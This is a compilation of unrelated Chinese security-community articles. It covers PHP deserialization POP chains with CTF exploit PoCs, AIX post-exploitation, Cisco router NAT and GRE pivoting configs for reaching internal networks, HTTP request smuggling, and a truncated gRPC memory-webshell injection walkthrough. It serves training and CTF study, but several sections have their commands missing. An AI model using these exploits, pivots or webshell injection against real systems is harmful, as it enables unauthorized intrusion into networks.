不过在Test2类中也定义了和Test3中同名的函数Delete()，那么我们可以通过构造特定的反序列化参数来修改执行流，也就是构造我们的POP链，在反序列化后使用Test2类中的Delete()来执行敏感操作，让执行流如下
Test1类→__construct()→$this->obj=new Test2→__tostring()→Test2.Delete方法
那么POP链的构造就是通过反序列化和echo来触发__tostring()魔术方法，并且此方法中调用Test2中的Delete()方法，造成任意文件删除的危害。
#### 利用POC：
<?php
class Test1{
protected $obj;
function __construct(){
$this->obj = new Test2;
}
}
class Test2{
public $cache_file = '../../../../test.php';
}
$evil = new Test1();
echo urlencode(serialize($evil));
?>
### 实例解析2：
**[MRCTF2020]Ezpop**
#### 源码：
Welcome to index.php
<?php
//flag is in flag.php
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}
#### 代码分析：
首先还是看全部代码的入点，在最下面的一个判断，GET接收到pop参数则反序列化处理，否则实例化Show给$a，然后高亮当前文件
其次源码中有三个类，分别是Modifier，Show，Test，依次分析
**Modifier：**
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
1.首先声明了$var变量
2.定义了append($value)方法，操作是include($value)
3.定义了魔术方法__invoke()，操作是调用本类中的append方法传递参数为$this->var
**__invoke() 当尝试以调用函数的方式调用一个对象时触发**
**Show：**
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
1.声明了$source和$str变量
2.声明了魔术方法__construct($file='index.php')，操作为给$this->source变量赋值为$file
**__construct() 当创建对象时触发，一般用于初始化对象，对变量赋初值**
3.声明了魔术方法__toString()，操作为返回$this->str->source
**__toString() 当一个类被当成字符串使用时触发**
4.声明了魔术方法__wakeup()，操作为正则匹配$this->source变量，如果匹配到则赋值$this->source="index.php"
**__wakeup() 使用unserialize()时自动触发**
**Test：**
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
1.声明了$p变量
2.声明了魔术方法__construct()，操作为赋值$this->p=array()
3.声明了魔术方法__get()，操作为赋值$function=$this->p，然后以函数返回$funcion()
**__get() 用于从不可访问的属性读取数据**
#### POP链构造：
由于本题是一道CTF题目，我们的目标是获得flag，提示flag在flag.php里，通过对三个类的代码分析，可以读取到flag的地方只有append($value)方法，操作是include($value)，可以利用伪协议来读取flag.php内容。
由于这道题目只有include那里可以利用，那么我们从那里反推
一.要想利用include，需要使用__invoke()来触发，而这个魔术方法的触发条件是，以调用函数的方式调用一个对象，那么我们找哪里可以满足这个条件。
二.在对Test类代码分析的第三条中，__get()魔术方法以$funcion()函数返回$this->p， **我们需要将$this->p设置为Modifier的实例化对象**，那么而且上面对$this->p赋值的操作是__construct()控制，也就是说是我们可控的，那么就看如何利用__get()
三.要想利用Test类中的__get()魔术方法，也需要我们用一定的条件触发，从不可访问的属性读取数据时触发，那么符合的只有Show类中的__toString()，
**需要将$this- >str设置为Test类的实例化对象**
四.触发__toString()的条件是：__toString() 当一个类被当成字符串使用时触发，那么在本类中的__wakeup()魔术方法中的preg
_match就正好可以触发，也就是**将$this->source设置为Show类的实例化对象，也就需要在\__construct()时就设置$file为Show的实例化对象**
那么整体的pop链应该是如下的
Modifier::__invoke()<--Test::__get()<--Show::__toString()<--Show::__wakeup()<--Show::__construct()
#### 利用POC：
<?php
class Modifier {
protected $var='php://filter/read=convert.base64-encode/resource=flag.php' ;
}
class Show{
public $source;
public $str;
public function __construct($file){
$this->source = $file;
}
}
class Test{
public $p;
}
$a = new Show();
$a->str = new Test();
$a->str->p = new Modifier();
$b = new Show($a);
echo urlencode(serialize($b));
?>
这道题目不是利用的同名函数来执行敏感操作，而是利用函数和对象之间的传递来调用敏感函数，形成了反序列化漏洞可以任意调用文件包含函数。
相信大家通过上面的两个例子的学习已经对反序列化漏洞有了基本的理解~ | 社区文章 |
# 【技术分享】针对AIX系统的渗透测试技巧分享
|
##### 译文声明
本文是翻译文章，文章来源：thevivi.net
原文地址：<https://thevivi.net/2017/03/19/aix-for-penetration-testers/>
译文仅供参考，具体内容表达以及含义原文为准。
****
****
翻译：[77caikiki](http://bobao.360.cn/member/contribute?uid=2846452071)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**背景**
在最近了一次内部渗透测试中，我在我客户的服务器上拿到了一个低权限的shell。这是一个关键业务的服务器，所以下一步要做的就是对这台服务器进行信息枚举，进而获取root权限。
通常我开始信息枚举的时候都是先uname -a，先得到一些基本的系统信息；然而有趣的是，这次我对一些输出并不明白是什么意思。
这是我第一次在AIX系统上尝试提权，然后我在网上居然没有找到多少与AIX系统提权相关的信息，这点我很吃惊。
我读到的大部分后渗透教程都只提到AIX系统的用户的密码hash文件存放位置与一般的系统(/etc/shadows)不同，它存放在/etc/security/passwd。我漫无目的地花了一些时间运行一些命令，然而总是不成功。于是我马上意识到AIX系统和其他Unix系统的区别并不仅仅在这里。然后我花了一点儿时间浏览了各种AIX系统的管理员手册，命令说明(链接在文章底部)，然后把这些知识整合成了一个包含各种后渗透技巧的清单。我决定发布这篇博客，希望以后可以给那些找不到什么线索的渗透测试人员(红军)带来一定的帮助。
**AIX**
AIX(Advanced Interactive
eXecutive)系统是由[IBM](https://en.wikipedia.org/wiki/IBM)为它的几种计算机平台开发并销售的一系列专有的Unix操作系统。
AIX是一个企业级的操作系统，所以像银行、政府、保险公司、发电站和大学这样的大型组织会对它比较青睐。
AIX在version 3之前的的默认shell是[Bourne
shell](https://en.wikipedia.org/wiki/Bourne_shell)(/bin/sh)。
在version 3之后就变成了[Korn
shell](https://en.wikipedia.org/wiki/KornShell)(/bin/ksh)。
在写这篇博客的时候，AIX的最新版本是AIX 7.2。
我得说清楚其实大部分基本的Unix命令都适用于AIX系统，比如导航，目录列表，进程列表，文件处理，搜索以及grep等等。
所以你并不需要从头开始学习Unix命令。但是如果你以后要经常对AIX服务器进行信息枚举的话，那么就有一些小技巧你得注意了。
**AIX信息枚举**
其实网上已经有很多很好的Linux系统的后渗透教程了(链接都在文章底部)，很多信息枚举技术都适用于AIX系统。
所以我就尽量不要重复造轮子了。虽然会有一些重复的基本常见命令，但是我会尽量避免出现这种情况。
我把我系统信息枚举分成了7个部分，
**1\. 系统信息**
**2\. 用户和组**
**3\. 驱动和共享**
**4\. 网络信息**
**5\. 进程信息**
**6\. 软件/包**
**7\. 配置和杂项**
**1\. 系统信息**
**2\. 用户和组**
**AIX用户管理**
如果你拿到了一个有用户管理权限的账号，那这部分可能会派上用场：
**3\. 驱动和共享**
**4\. 网络信息**
**5\. 进程信息**
**6\. 软件/包**
**7\. 配置和杂项**
在我说这部分之前，我得提一下，并没有对每个服务器配置的详细指南，因为这种配置信息完全是变化的，而且取决于环境和各个系统的用途。
在这篇文章最后的后渗透指南中有一长串可以在这个阶段帮你走出困境的技巧。我会总结一些常用的有用的策略。
**其他**
这部分可以算是后来又考虑到的吧，但我还是决定把这部分放出来。其实基本上就是一些涉及到默认AIX包/服务的技巧，这可能会在你对这个系统评估的各种阶段发挥用途。
**1\. 利用——得到你的初始立足之地**
可用的攻击向量将完全取决于服务器的配置和运行的服务。你可能在AIX服务器上找到一些下面列出来的服务。
**2\. 反弹shell**
然后你找到了命令执行漏洞，想要反弹一个shell过来？设置一下监听器，然后试一下下面的命令：
注意：记住一定要在80和443端口都监听。
**3\. TTY shells**
通常情况下，你可能会发现你自己处在一个限制的非TTY shell的环境中。当你在与服务器交互的时候这种非TTY
shell会限制你的选项。下面是一些可以生成TTY shell的命令。
**4\. 文件下载**
在你后渗透的过程中，你可能想往这个服务器上下载一个文件，比如用于提权的exploit。由于默认的AIX系统会缺少一些在其他Unix系统中具备的工具。比如我所在的系统就没有
安装wget, curl, 和nc。管理员可能会安装一些作为额外的用途，但是这里我还是假设你无法在服务器上找到这些命令。
幸运的是，AIX上已经安装了一些默认的程序以供你下载文件之用。
**5\. 权限提升**
IBM对AIX系统的安全美誉十分自豪，当然这也是有原因的；并没有很多exploits可以利用他们的产品。但是好消息是，Offensive
Security的漏洞利用数据库确实有各种AIX版本的权限提升利用脚本。你会发现这些都很有用。
**6\. 破解AIX密码**
AIX的用户密码文件都存放在/etc/security/passwd文件中。前面我已经提到了，这些hash值的存储格式与其他Unix系统不同。Hashcat支持各种AIX系统上的hash机制，
你可以在[这里](https://hashcat.net/wiki/doku.php?id=example_hashes)找到一些例子(搜索AIX)。
我还找到一个Metasploit模块(auxiliary/analyze/jtr_aix)使用John the
Ripper识别从AIX系统得到的弱密码，但是我还没试。我试了之后就来更新这篇文章。
**总结**
正如我在前面说的，我写这篇博客的原因是因为当我对AIX系统进行后渗透测试的时候，找这种信息的感到很无助。当然，这篇博客也并不是一个非常全面的AIX/Unix系统的
信息枚举指南，但是如果幸运的话，这会给之后的信息收集者更多信息参考。即便只帮助到了一个人，那也是值得的，这篇文章也达到了它的目的。Happy
hunting。
**参考**
我找到了一些信息非常丰富的资料，它们不仅在我的渗透测试任务中帮助了我(是的，我确实获得了服务器的root权限)，也帮我完成了这篇文章。
**1\. Linux后渗透测试**
[https://github.com/mubix/post-exploitation/wiki/Linux-Post-Exploitation-Command-List](https://github.com/mubix/post-exploitation/wiki/Linux-Post-Exploitation-Command-List)
[http://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/](http://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/)
[https://n0where.net/linux-post-exploitation/](https://n0where.net/linux-post-exploitation/)
**2\. AIX系统管理员指南和备忘录**
[https://aix4admins.blogspot.com](https://aix4admins.blogspot.com)
[http://www.systemscanaix.com/aix-commands/](http://www.systemscanaix.com/aix-commands/)
[http://www.linux-france.org/~mdecore/aix/AIX_COMMANDES.PDF](http://www.linux-france.org/~mdecore/aix/AIX_COMMANDES.PDF)
[http://www.tablespace.net/quicksheet/aix-quicksheet.pdf](http://www.tablespace.net/quicksheet/aix-quicksheet.pdf)
[http://bigcalm.tripod.com/aix/handycommands.htm](http://bigcalm.tripod.com/aix/handycommands.htm)
[https://www.ibm.com/developerworks/aix/library/au-aix_cmds/](https://www.ibm.com/developerworks/aix/library/au-aix_cmds/)
<http://visual.ly/ibm-aix-command-cheat-sheet>
**3\. 破解AIX**
[https://www.sans.org/reading-room/whitepapers/testing/aix-penetration-testers-35672](https://www.sans.org/reading-room/whitepapers/testing/aix-penetration-testers-35672)
[https://rhinosecuritylabs.com/2016/11/03/unix-nostalgia-hunting-zeroday-vulnerabilities-ibm-aix/](https://rhinosecuritylabs.com/2016/11/03/unix-nostalgia-hunting-zeroday-vulnerabilities-ibm-aix/)
**4\. 保护AIX——因为我喜欢蓝军们**
[https://www.ibm.com/support/knowledgecenter/ssw_aix_72/com.ibm.aix.security/security-kickoff.htm](https://www.ibm.com/support/knowledgecenter/ssw_aix_72/com.ibm.aix.security/security-kickoff.htm)
[https://www.ibm.com/support/knowledgecenter/en/ssw_aix_72/com.ibm.aix.security/security_checklist.htm](https://www.ibm.com/support/knowledgecenter/en/ssw_aix_72/com.ibm.aix.security/security_checklist.htm)
[https://netseczone.blogspot.com/2008/10/aix-security-checklist.html](https://netseczone.blogspot.com/2008/10/aix-security-checklist.html) | 社区文章 |
相信很多朋友在做渗透测试的过程中，经常会遇到一些路由器等网络设备，那么，在我们获得路由器的最高操作权限，具有修改路由器配置的情况下，可以进行哪些操作呢，本文将结合作者之前的测试案例，介绍两种cisco路由器在渗透过程中的利用方法，以及一次在获得某电信网络骨干路由器权限后的思考。
## 一、端口映射，各个击破
路由器端口映射就是在路由器开放一个端口，并将该端口映射到相应的主机端口。当外网有数据访问路由器开放的端口时，路由器直接将来该端口的所有数据转发到相应的主机端口。
通过互联网获得的路由器设备，最常见的网络拓扑如下图：
路由器内网连接着多个服务器，但是无法从外网访问，这时如果我们知道它们所开放的服务，就可以通过路由器端口映射的方法，将内网的服务端口映射到路由器的外网地址，从而实现对内网服务的访问，配置代码如下：
route>en
Password:
route#conf t
route(config)#ip nat inside source static tcp 192.168.1.13 80 23.23.23.23 8081
route(config)#exit
route#wr
上述配置是将内网192.168.1.13服务器的80端口，映射到外网23.23.23.23的8081端口上，如果要删除这条配置，代码如下：
`route(config)#no ip nat inside source static tcp 192.168.1.13 80 23.23.23.23
8081`
**tips：**
1、由于对路由器配置进行修改，操作完毕后要及时删除添加的配置；
2、映射到外网端口时，要考虑防火墙的问题，选择允许访问的端口；
3、利用这种方法可以将内网主机的445等常见漏洞端口映射出来，进行溢出测试，由于是内网，服务器系统相对老旧，补丁也不全，说不定会有意外惊喜。
## 二、隧道搭建，直搞黄龙
GRE（Generic routing
encapsulation)通用路由封装是一种隧道协议，能够在IP隧道中封装各种网络层协议的分组，从而创建虚拟点到点链路。利用GRE协议搭建隧道，实现将本地主机加入到目标路由器所在的内网的功能，可以忽略网络的连接，随意进行内网测试，只不过此时本地也需要一台支持GRE协议的路由器。
（对GRE协议以及GRE数据包格式不了解的同学可以自行学习）
此时的网络结构大致如下：
目标路由器连接着一个内网，地址段为192.168.1.0/24，而此时，通过对目标路由器B和本地路由器A进行GRE的配置，就可实现本地主机（192.168.1.211）加入目标网络，成为网络中的一个节点，就像访问本地局域网一样。
目标路由器_B的配置：
interface Ethernet0/1 #内网接口
ip address 192.168.1.1 255.255.255.0
interface Serial0/0 #外网接口
ip address 13.13.13.13 255.255.255.0 #外网地址
interface Tunnel0 #隧道名称
ip address 1.1.1.1 255.255.255.0 #隧道地址，此地址可以随意填写
tunnel source Serial0/0 #隧道源地址，即外网接口地址
tunnel destination 12.12.12.12 #隧道目的地址，即对端路由器外网接口地址
ip route 192.168.1.211 255.255.255.255 Tunnel0 #路由信息，通过Tunnel0接口访问本地主机
本地路由器_A的配置：
interface Ethernet0/1 #内网接口
ip address 192.168.1.1 255.255.255.0
interface Serial0/0 #外网接口
ip address 12.12.12.12 255.255.255.0 #外网地址
interface Tunnel1 #隧道名称
ip address 2.2.2.2 255.255.255.0 #隧道地址，此地址可以随意填写
tunnel source Serial0/0 #隧道源地址，即外网接口地址
tunnel destination 13.13.13.13 #隧道目的地址，即对端路由器外网接口地址
ip route 0.0.0.0 0.0.0.0 Tunnel1 #路由信息，本地主机的所有数据都从Tunnel0接口发出
两个路由器经过上述配置后，本地主机与目标路由器内网就处在一个网络中，方便下一步的渗透测试。
**tips：**
1、通过目标路由器配置GRE隧道，必须要求本地具有一台支持GRE协议的路由器；
2、GRE隧道是点对点连接，所以本地路由器必须有一个独立的外网地址；
3、上述GRE隧道不加密，为明文传输，具有一定风险；
4、要确保本地主机的IP地址与目标路由器内网的主机IP不冲突。
## 三、对某电信网络骨干路由器利用的思考
曾经，一个偶然的机会，获得了某电信网络骨干路由器的控制权，也就是传说中的MPLS VPN网络中的PE路由器（边界路由器） ， 通过show
run配置，发现其上配置了大量的VPN网络，每个VPN网络就是一个Tunnel接口，相同用户VPN网络使用同一个VRF号，通过每个Tunnel接口以及VRF号的描述信息，很容易知道每个Tunnel和VRF对应的用户信息。
由于使用的是GRE协议配置的VPN网络，所以就设想，利用上述搭隧道的方法，本地路由器充当一台CE，应该可以实现将本地的主机加入任意VPN网络，只需要在本地路由器配置Tunnel接口时，使用相同的VRF号。
上述想法虽然未经测试，但本人觉得这个思路应该能够实现。
注：本文代码与思路完全公开，请仅作学习交流使用，不要对号入座，其余用途与本文作者无关。
> 本文为 ph0en1x 原创稿件，授权嘶吼独家发布，未经许可禁止转载，如若转载，请联系嘶吼编辑：
> <http://www.4hou.com/penetration/10259.html> | 社区文章 |
# 谁能比我细---秒懂Http请求走私
## 1\. 前提
**HTTP1.1**
> 首先我们需要了解下http1.1的特性，它是应用层的协议，这个不用多说
* **keepalive**
在http1.1时代，每个http请求都需要打开一个tcp连接，keep-alive可以改善这种状态，提高利用率，即一个长连接，在一次TCP连接后不断开连接。
HTTP1.0的时候没有长连接这个概念，后来引入了长连接并通过`Connection: keep-alive`实现。
但HTTP1.1的规则中，所有HTTP报文都必须是持久的，除非特意加上`Connection:
close`，但实际中很多服务器和浏览器还保留着`Connection: keep-alive`
* **pipline**
在1个Tcp连接中发送多个请求
* **Content-Length**
HTTP包的一个标头，用来指明发送给接收方的消息的大小
* **Transfer-Encoding**
传输编码
**接下来我将用一个演示更加清晰的展示`Content-Length`和`Transfer-Encoding`的作用：**
> 假设我们一个TCP连接上，存在多个HTTP报文，我怎么知道哪些内容属于第一个报文，哪些是第二个的呢？这个时候Content-> Length的作用就来了，Content-Length来告诉对方包的请求体的数据长度。
**例：** 我这里随便找个包
但是实际情况中，`Content-Length`获得起来会存在一些问题，例如一些文件，需要计算其长度就大大增加了内存的消耗，而且当`Content-Length`的数值多或者少的时候都会发生问题。
这个时候`Transfer-Encoding`的优势就来了，它的值为`chunked`时，表示使用分块编码，一个块包含十六进制的长度值和数据，用0长度块表示结束块，如下图所示。
* * *
## 2\. 漏洞原理
**发生前提：** 一般在前后端服务器分离或存在CDN加速服务的情况下
一般是后端和前端对于请求的结束认证不一致导致的，相当于后端对于第一个包产生了截断，前者正常处理，后者就会和第二个包进行拼接，这样就对第二个包造成了影响，详细看下下面这两张图。
* * *
## 3\. 详细分类及利用
我这里通过Burpsuite的官方实验室进行演示
### 3.1 CL-TE
> 前端服务器只处理Content-Length请求头，后端处理Transfer-Encoding请求头（把CL-TE方式看透，后边的都差不多我就简写了）
**利用过程：**
访问主页，抓包，改成POST请求
构造如下请求包发送
发送第一次，返回结果正常
发送第二次，发现我们最开始构造的构造的请求，在0后边被截断，后边的G和第二个包结合解析，返回错误
* * *
**详细解析：**
前端服务器根据`Content-Length`字段处理，所以从0到G结束（/r/n算一个）总和是6，所以前端没什么问题，而后端因为根据TE头来处理，第一次请求的时候它看到了为0的结束块，所以认为第一个包到0结束，而后剩下可以想象还在TCP链上，然后第二个包过来了，它们就合并到了一块
所以第二个包，实际上在后端处理的时候是下图这个样子
* * *
**利用：**
>
> 看懂了，怎么利用呢？如果有这个疑问，那证明你还是对该漏洞的原理没理解透彻，如之前的原理图那样，TCP传递的这些包不是来自一个人的，比如我这里用火狐当做黑客视角，用星愿浏览器当做普通用户视角
1. 黑客用火狐，抓包，改，发包
2. 普通人用星愿去访问这个站，直接拒绝服务
>
> 其次，既然我们可以将任何东西留在后者的包内，那么我们就可以构造xss，sql注入，或者利用会话固定等等来打组合拳，也可以绕过前端认证。相反的我们也可以发包不带0结束块，这样后端认为第一个包还没完，紧接着用户的包来了，那么就将后者的包结合到我们自己发的包中，好了不多哔哔，更多利用方式自己探索吧。
* * *
### 3.2 TE-CL
> 前端服务器只处理Transfer-Encoding请求头，后端处理Content-Length请求头。
同样的我们尝试构造GPOST请求，你能想那这简单，反过来就可以了吗，你可能会想按如下方式构造请求包，CL为2，后端会截断，将G以及后边的数据和第二个请求拼接
但是实际上如下图，将0也算了进去，因为既然后端是根据CL来处理请求的，它不是分块传输，自然就不认识0截断块，所以统统当字符串处理
前端是通过TE来处理的，这个0还不能扔，那么这种情况就需要我们自己把GPOST写出来，如下图
因为这里我们将CL的长度改成了4，所以5，c，/n，/r，那么后边的GPOST开头的数据就合并到了后边的数据包中，就将后边数据包的请求方式给覆盖了，还有注意数据块的长度要计算正确，如第一块是从G开始到9结束。
* * *
### 3.3 TE-TE
> 这种情况就是前后端都是用TE来处理请求，但是我们可以通过混淆TE头方式让后端不再根据TE处理而是变成了根据CL处理
这里我写了两个TE头，不过第二个头后边的E是小写，而且值，我瞎写了个low，这样后端发现了两个，而且值不同，不知道用哪个了，然后看见包里有CL那干脆就用CL头来处理包
> 靶场里面有更多了请求走私漏洞，这里就不一一举例了。
* * *
## 4\. 如何发现
我们这里可以使用Burp插件商店里面的`HTTP Request Smuggler` | 社区文章 |
### 前言
前两周看到M01N
Team公众号发布的《内存马的攻防博弈之旅之gRPC内存马》，文中介绍了gRPC内存马是如何注入进去并执行命令的，但是由于原文当中只给出靶场的Demo，并未给出利用注入的poc，便借助这篇文章再深入研究一下。
### gRPC介绍
了解gRPC之前，就需要引入RPC的设计理念，才能更好的理解gRPC的工作原理。
远程过程调用（Remote Procedure Call，缩写为
RPC）是一个计算机通信协议。该协议允许一台计算上的程序调用另一台计算机上运行的程序，使得程序员无需再做额外的操作。如果是面向对象的场景，也可以称作为远程方法调用，比如熟知的Java
RMI(Remote Method Invocation)调用。
而gRPC是由Google开发的一款高性能的开源RPC框架，经常用于微服务之间各种不同语言的程序调用函数和通信，大大的增加了微服务之间的通信效率和平台依赖性。同时gRPC是使用Protocol
buffers作为接口定义语言(IDL)，可以通过编写的proto文件来定义消息结构体和RPC远程调用函数。
协调的接口是通过proto文件来定义的消息结构，相关文档可以在Reference[1]中找到。再来看看gRPC的接口定义语言Protocol
Buffers的工作流程图：
结合后续的案例说明，proto文件定义好之后需要通过生成器生成对应语言的代码，并在项目中使用才可以建立gRPC调用。
### 案例说明
这里直接用绿盟星云实验室开源的gRPC靶场来研究：<https://github.com/snailll/gRPCDemo>
首先直接看看他的user.proto是如何定义的
syntax = "proto3";
package protocol;
option go_package = "protocol";
option java_multiple_files = true;
option java_package = "com.demo.shell.protocol";
message User {
int32 userId = 1;
string username = 2;
sint32 age = 3;
string name = 4;
}
service UserService {
rpc getUser (User) returns (User) {}
rpc getUsers (User) returns (stream User) {}
rpc saveUsers (stream User) returns (User) {}
}
可以看到文件中定义了go_package和java_package两个变量，用处是明确指出包的命名空间，防止与其他语言的名称冲突。而java_multiple_files
= true 选项则是允许为每个生成的类，生成一个单独的 .java 文件。
定义好了proto文件之后，就可以通过protoc或者maven的插件来生成grpc代码，这里我用的protoc二进制文件和插件protoc-gen-grpc来生成。
protoc下载地址：<https://github.com/protocolbuffers/protobuf/releases>
protoc-gen-grpc插件下载地址：<https://repo.maven.apache.org/maven2/io/grpc/protoc-gen-grpc-java/>
用下列两个命令生成对应的Java代码文件：
protoc -I=. --java_out=./codes/ user.proto
protoc.exe --plugin=protoc-gen-grpc-java.exe --grpc-java_out=./code --proto_path=. user.proto
这里的grpc插件一定要重新命名为"protoc-gen-grpc-java"，不然会显示找不到命令。
之后会在codes文件中生成对象关系的java文件，code文件夹中生成grpc相关的UserServiceGrpc.java文件。
把生成好的Java文件添加到开发的项目中，并新建一个UserServiceImpl类，用来实现grpc的方法。
package com.demo.shell.service;
import com.demo.shell.protocol.User;
import com.demo.shell.protocol.UserServiceGrpc;
import io.grpc.stub.StreamObserver;
/**
* @author demo
* @date 2022/11/27
*/
public class UserServiceImpl extends UserServiceGrpc.UserServiceImplBase {
@Override
public void getUser(User request, StreamObserver<User> responseObserver) {
System.out.println(request);
User user = User.newBuilder()
.setName("response name")
.build();
responseObserver.onNext(user);
responseObserver.onCompleted();
}
@Override
public void getUsers(User request, StreamObserver<User> responseObserver) {
System.out.println("get users");
System.out.println(request);
User user = User.newBuilder()
.setName("user1")
.build();
User user2 = User.newBuilder()
.setName("user2")
.build();
responseObserver.onNext(user);
responseObserver.onNext(user2);
responseObserver.onCompleted();
}
@Override
public StreamObserver<User> saveUsers(StreamObserver<User> responseObserver) {
return new StreamObserver<User>() {
@Override
public void onNext(User user) {
System.out.println("get saveUsers list ---->");
System.out.println(user);
}
@Override
public void onError(Throwable throwable) {
System.out.println("saveUsers error " + throwable.getMessage());
}
@Override
public void onCompleted() {
User user = User.newBuilder()
.setName("saveUsers user1")
.build();
responseObserver.onNext(user);
responseObserver.onCompleted();
}
};
}
}
在创建一个Main方法启动Netty服务
public static void main(String[] args) throws Exception {
int port = 8082;
Server server = NettyServerBuilder
.forPort(port)
.addService(new UserServiceImpl())
.build()
.start();
System.out.println("server started, port : " + port);
server.awaitTermination();
}
再编写客户端调用服务器方法
package com.demo.shell.test;
import com.demo.shell.protocol.User;
import com.demo.shell.protocol.UserServiceGrpc;
import io.grpc.ManagedChannel;
import io.grpc.ManagedChannelBuilder;
import java.util.Iterator;
/**
* @author demo
* @date 2022/11/27
*/
public class NsTest {
public static void main(String[] args) {
User user = User.newBuilder()
.setUserId(100)
.build();
String host = "127.0.0.1";
int port = 8082;
ManagedChannel channel = ManagedChannelBuilder.forAddress(host, port).usePlaintext().build();
UserServiceGrpc.UserServiceBlockingStub userServiceBlockingStub = UserServiceGrpc.newBlockingStub(channel);
User responseUser = userServiceBlockingStub.getUser(user);
System.out.println(responseUser);
Iterator<User> users = userServiceBlockingStub.getUsers(user);
while (users.hasNext()) {
System.out.println(users.next());
}
channel.shutdown();
}
}
服务器输出对应的参数请求内容
### gRPC内存马实现原理
先从服务端启动来看看UserServiceImpl是如何注册的
int port = 8082;
Server server = NettyServerBuilder
.forPort(port)
.addService(new UserServiceImpl())
.build()
.start();
forPort这里只是新建了一个NettyServerBuilder类，并设置了启动服务需要绑定的端口。
而到addService方法中，新建的UserServiceImpl类作为参数传递进了方法体中
public T addService(BindableService bindableService) {
this.delegate().addService(bindableService);
return this.thisT();
}
代码中的this.delegate()就是io.grpc.internal.ServerImplBuilder类
跟进查看
看到addService方法中添加的其实是bindService的返回值。
这里的正好是之前grpc插件生成的UserServiceGrpc类
@java.lang.Override public final io.grpc.ServerServiceDefinition bindService() {
return io.grpc.ServerServiceDefinition.builder(getServiceDescriptor())
.addMethod(
getGetUserMethod(),
io.grpc.stub.ServerCalls.asyncUnaryCall(
new MethodHandlers<
com.demo.shell.protocol.User,
com.demo.shell.protocol.User>(
this, METHODID_GET_USER)))
.addMethod(
getGetUsersMethod(),
io.grpc.stub.ServerCalls.asyncServerStreamingCall(
new MethodHandlers<
com.demo.shell.protocol.User,
com.demo.shell.protocol.User>(
this, METHODID_GET_USERS)))
.addMethod(
getSaveUsersMethod(),
io.grpc.stub.ServerCalls.asyncClientStreamingCall(
new MethodHandlers<
com.demo.shell.protocol.User,
com.demo.shell.protocol.User>(
this, METHODID_SAVE_USERS)))
.build();
}
里面的代码正好对应proto文件中定义的三个方法名
addService添加了需要注册的方法，之后就是通过Build方法编译好且设置不可修改。
public Server build() {
return new ServerImpl(this, this.clientTransportServersBuilder.buildClientTransportServers(this.getTracerFactories()), Context.ROOT);
}
Build方法中创建了ServerImpl对象，再来看看ServerImpl对象的构造方法
ServerImpl(ServerImplBuilder builder, InternalServer transportServer, Context rootContext) {
this.executorPool = (ObjectPool)Preconditions.checkNotNull(builder.executorPool, "executorPool");
this.registry = (HandlerRegistry)Preconditions.checkNotNull(builder.registryBuilder.build(), "registryBuilder");
...
}
主要是关注builder.registryBuilder.build()方法，进入的正好是io.grpc.internal.InternalHandlerRegistry$Builder类的build方法。
static final class Builder {
private final HashMap<String, ServerServiceDefinition> services = new LinkedHashMap();
Builder() {
}
InternalHandlerRegistry.Builder addService(ServerServiceDefinition service) {
this.services.put(service.getServiceDescriptor().getName(), service);
return this;
}
InternalHandlerRegistry build() {
Map<String, ServerMethodDefinition<?, ?>> map = new HashMap();
Iterator var2 = this.services.values().iterator();
while(var2.hasNext()) {
ServerServiceDefinition service = (ServerServiceDefinition)var2.next();
Iterator var4 = service.getMethods().iterator();
while(var4.hasNext()) {
ServerMethodDefinition<?, ?> method = (ServerMethodDefinition)var4.next();
map.put(method.getMethodDescriptor().getFullMethodName(), method);
}
}
return new InternalHandlerRegistry(Collections.unmodifiableList(new ArrayList(this.services.values())), Collections.unmodifiableMap(map));
}
}
最后返回的Collections.unmodifiableList和Collections.unmodifiableMap，就是将list列表和map转换成无法修改的对象，因此注册的UserServiceImpl对象中的方法从一开始就确定了。
至此，内存马的实现步骤就可以得知，需要通过反射重新定义ServerImpl对象中的this.registry值，添加进我们内存马的ServerServiceDefinition和ServerMethodDefinition。
### 内存马注入
由于M01N Team公众号中并未直接给出poc利用，这里我也只能凭借自己的想法慢慢复现。
由于需用反射替换掉原先被设置unmodifiable的ServerServiceDefinition和ServerMethodDefinition，因此就需要ServerImpl对象的句柄。
由于ServerImpl并不是静态的类，需要获取的字段也不是静态的，因此要获取到JVM中ServerImpl的类，可目前为止我没有想到有什么很好的方式获取。如果读者们有更好的思路可以留言给我，欢迎相互讨论学习。
注入的思路，就是先获取ServerImpl中已经有的ServerServiceDefinition和ServerMethodDefinition，读取到新的List和Map中，并在新的List和Map中添加WebShell内存马的信息，最后再设置unmodifiable属性并更改registry对象的值。
Poc如下所示，需要提供ServerImpl对象的实例。
public static void changeGRPCService(Server server){
try {
Field field = server.getClass().getDeclaredField("registry");
field.setAccessible(true);
Object registry = field.get(server);
Class<?> handler = Class.forName("io.grpc.internal.InternalHandlerRegistry");
Field services = handler.getDeclaredField("services");
services.setAccessible(true);
List servicesList = (List) services.get(registry);
List<Object> newServicesList = new ArrayList<Object>(servicesList);
//调用WebShell的bindService
Class<?> cls = Class.forName("com.demo.shell.protocol.WebShellServiceGrpc$WebShellServiceImplBase");
Method m = cls.getDeclaredMethod("bindService");
BindableService obj = new WebshellServiceImpl();
ServerServiceDefinition service = (ServerServiceDefinition) m.invoke(obj);
newServicesList.add(service); //添加新的Service到List中
services.set(registry, Collections.unmodifiableList(newServicesList));
Field methods = handler.getDeclaredField("methods");
methods.setAccessible(true);
